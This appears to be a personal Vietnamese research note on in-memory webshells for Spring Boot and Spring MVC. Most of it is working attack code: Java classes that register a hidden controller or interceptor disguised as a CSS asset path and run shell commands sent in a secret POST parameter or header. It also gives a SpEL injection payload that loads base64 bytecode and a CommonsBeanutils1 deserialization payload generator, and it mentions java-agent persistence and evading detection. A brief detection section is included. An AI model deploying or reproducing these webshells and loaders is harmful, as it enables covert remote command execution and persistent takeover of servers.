Quick Note Spring Memshell
Preface
Một vài mẫu note rời rạc về spring memory webshell mà mình đã dành thời gian tìm hiểu chưa có thời gian viết hoàn thiện
Spring boot
Maven: https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-web
spring boot < 2.x
=> test ok (2.4.10, 2.5.14, 2.7.15
)spring boot 3.x
(support jdk >= 17) => not ok do jdk ver cao
Dynamically set RequestMappings in Spring (at runtime)
Lấy WebApplicationContext
Key khi inject memshell trong spring là lấy được WebApplicationContext
Study case: Tiện nhưng khi không configure ContextLoaderListener
hay applicationContext.xml
global configuration file ==> không lấy được context
ContextLoader.getCurrentWebApplicationContext()
Usable: Cả boot vs mvc đều dùng được:
RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest())
RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest())
==> Không có cách nào là tốt nhất, tùy cấu hình app/version mà mỗi cách mới có thể sử dụng được
Lấy HttpServletRequest, HttpServletResponse
ServletRequestAttributes
là class cha của RequestAttributes
nên ép kiểu đc
HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest();
HttpServletResponse request = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getResponse();
Study case, spring boot < 2.6
/*
PatternsRequestCondition chỉ chạy ở spring boot < 2.6
Error: java.lang.IllegalArgumentException: Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH"
Simple reason: https://liuyanzhao.com/1503010911382802434.html
*/
public NormalTest() throws Exception {
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
RequestMappingHandlerMapping mappingHandler = context.getBean(RequestMappingHandlerMapping.class);
Method method = NormalTest.class.getMethod("run");
PatternsRequestCondition patterns = new PatternsRequestCondition("/a/assets/style.css");
RequestMethodsRequestCondition mc = new RequestMethodsRequestCondition();
RequestMappingInfo mappingInfo = new RequestMappingInfo(patterns, mc, null, null, null, null, null);
NormalTest normalTest = new NormalTest("a");
mappingHandler.registerMapping(mappingInfo, normalTest, method);
}
SpringControllerMem
package evil;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import java.io.PrintWriter;
import java.lang.reflect.Method;
public class SpringControllerMem {
public static String load() {
try {
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest());
RequestMappingHandlerMapping mappingHandler = context.getBean(RequestMappingHandlerMapping.class);
Method method = SpringControllerMem.class.getMethod("run");
Method getMappingForMethod = mappingHandler.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);
getMappingForMethod.setAccessible(true);
RequestMappingInfo mInfo = (RequestMappingInfo) getMappingForMethod.invoke(mappingHandler, method, SpringControllerMem.class);
SpringControllerMem obj = new SpringControllerMem("a");
mappingHandler.registerMapping(mInfo, obj, method);
} catch (Exception e) {}
return "loaded!";
}
public SpringControllerMem(String a) {}
@RequestMapping("/a/assets/style.css") // memshell path
public void run() {
try {
HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest();
HttpServletResponse response = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getResponse();
String arg0 = request.getParameter("dev_63hdsbxs7hx");
if (arg0 != null && request.getMethod().equals("POST")) {
ProcessBuilder p;
String o = "";
PrintWriter w = response.getWriter();
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/bash", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
w.write(o);
w.flush();
w.close();
} else {
response.sendError(404);
}
} catch (Exception e) {}
}
}
Code injection (load memshell)
via SpEL Injection
Code test:
ExpressionParser ep = new SpelExpressionParser();
Object result = ep.parseExpression(input).getValue();
- Test chạy trên spring boot
2.7.15
+jdk8
,3.x
lỗi ko load được bytecode qua el injection:
T(org.springframework.cglib.core.ReflectUtils).defineClass('evil.SpringControllerMem',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAA...'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).load()
via Java deserialization
Code test: lib commons-beanutils 1.9.4
Đơn giản là sửa malicious class được load bytecode ở sink của các chain sử dụng TemplatesImpl là sink (vd: CommonsBeanUtils1, CC2, CC3, CC4,…). Bài này sẽ demo chain CommonsBeanutils1, ai đã tìm hiểu chain này thì biết malicious class cần là subclass của AbstractTranslet
(may ko phải extends HttpServlet
như memshell tomcat) và implements 2 methods transform()
là được. Phần code inject request mapping sẽ đặt trong default constructor do sink TemplatesImp
sẽ gọi method newInstance()
của class được load.
package evil;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Method;
public class MemTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public MemTemplatesImpl() {
super();
try {
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest());
RequestMappingHandlerMapping mappingHandler = context.getBean(RequestMappingHandlerMapping.class);
Method method = MemTemplatesImpl.class.getMethod("run");
Method getMappingForMethod = mappingHandler.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);
getMappingForMethod.setAccessible(true);
RequestMappingInfo mInfo = (RequestMappingInfo) getMappingForMethod.invoke(mappingHandler, method, MemTemplatesImpl.class);
MemTemplatesImpl obj = new MemTemplatesImpl("a");
mappingHandler.registerMapping(mInfo, obj, method);
} catch (Exception e) {}
}
public MemTemplatesImpl(String a) {}
@RequestMapping("/a/assets/style.css") // memshell path
public void run() {
try {
HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest();
HttpServletResponse response = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getResponse();
String arg0 = request.getHeader("dev_63hdsbxs7hx");
if (arg0 != null && request.getMethod().equals("POST")) {
ProcessBuilder p;
String o = "";
PrintWriter w = response.getWriter();
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/bash", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
w.write(o);
w.flush();
w.close();
} else {
response.sendError(404);
}
} catch (Exception e) {}
}
}
Interceptor type:
package evil;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
public class InterceptorTypeTest extends AbstractTranslet implements HandlerInterceptor {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public InterceptorTypeTest() {
super();
try {
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest());
RequestMappingHandlerMapping mappingHandler = context.getBean(RequestMappingHandlerMapping.class);
Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptorsField.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) adaptedInterceptorsField.get(mappingHandler);
MappedInterceptor mappedInterceptor = new MappedInterceptor(new String[]{"/assets/**"}, new InterceptorTypeTest("a"));
adaptedInterceptors.add(mappedInterceptor);
} catch (Exception e) {}
}
public InterceptorTypeTest(String a) {}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
String arg0 = request.getHeader("X-Cache-Ghdb56");
if (arg0 != null && request.getMethod().equals("POST")) {
try {
ProcessBuilder p;
String o = "";
PrintWriter w = response.getWriter();
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/bash", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
w.write(o);
w.flush();
w.close();
} catch (Exception e) {}
return false;
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) {}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) {}
}
Method gen payload:
private static void genCommonsBeanUtils() throws Exception {
byte[] bArr = Files.readAllBytes(Paths.get("D:\\lab\\java\\spring-boot11\\target\\classes\\evil\\MemTemplatesImpl.class"));
TemplatesImpl tplsImpl = new TemplatesImpl();
setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr});
setFieldValue(tplsImpl, "_name", "ahihi");
setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator();
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(beanComparator);
// replace later
priorityQueue.add(1);
priorityQueue.add(1); // size = 2
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{tplsImpl, tplsImpl});
// test me
String serialized = serTest(priorityQueue);
String encoded = URLEncoder.encode(serialized);
System.out.println(encoded);
}
via java agent
Đã có access vào server, muốn persistent connection. Sử dụng CLI chạy java agent (đã đc package thành .jar
file) để load memshell vào app spring đang chạy mong muốn.
Spring MVC
Version: https://mvnrepository.com/artifact/org.springframework/spring-webmvc
spring boot 2.x
includesspring-webmvc 5.x
=> test ok (ko deser đc)spring boot 3.x
includesspring-webmvc 6.x
=> not ok do jdk ver cao
Detection
- Như tomcat sẽ scan các components như listener, filter, servlet trong JVM process và tìm các class đáng nghi khi sử dụng một số class như classloader, Runtime, ProcessBuilder, reflection gọi method nhạy cảm,… dựa vào bytecode - tương tự Spring sẽ dựa vào components như controller, interceptor.
- VisualVM qua JMX service
- Ngoài ra detect dựa vào các keyword đáng nghi như
shell
,inject
,exploit
,… - Như tomcat có thể up jsp memshell-scanner để detect hoặc chạy agent, spring chỉ có thể chạy agent.
- RASP (Runtime Application self-protection)
- Anti detect ….
Notes
For servlet stack applications, the spring-boot-starter-web includes Tomcat by including spring-boot-starter-tomcat, but you can use spring-boot-starter-jetty or spring-boot-starter-undertow instead. => spring boot có tomcat embeded; spring mvc chạy trên tomcat
Do trong compile time chưa import lib của tomcat nên lỗi (deploy mới push lên tomcat, ko phải embeded như spring boot): https://stackoverflow.com/questions/22756153/the-superclass-javax-servlet-http-httpservlet-was-not-found-on-the-java-build
Một Interceptor sẽ implement từ org.springframework.web.servlet.HandlerInterceptor
(trong Spring MVC >= 5.3
, với version trước đó cần extends từ org.springframework.web.servlet.HandlerInterceptorAdaptor
)
Tổng kết
- Spring boot 2.x memshell ok, via SpEL injection + deserialize
- Spring boot 3.x not ok do jdk ver cao (từ jdk 16 bị nhiều giới hạn, đọc jdk16/JEP 396)
- Spring MVC 5.x ~ Spring boot 2.x memshell ok, via SpEL injection - chưa mò vì sao deser lỗi
- Spring MVC 6.x ~ Spring boot 3.x not ok tương dự do jdk ver cao
jdk16/JEP 396 ==> https://code-white.com/blog/2023-04-java-exploitation-restrictions-in-modern-jdk-times/
- Lý do mình tìm hiểu memshell controller type là do thường nó sẽ stable hơn, tuy nhiên sử dụng controller type cũng có nhiều giới hạn ví dụ nếu app yêu cầu mọi routes phải authen thì shell cũng phải authen mới xài được. Có thể workaround bằng cách dùng interceptor type, tham khảo: https://blog.csdn.net/mole_exp/article/details/123992395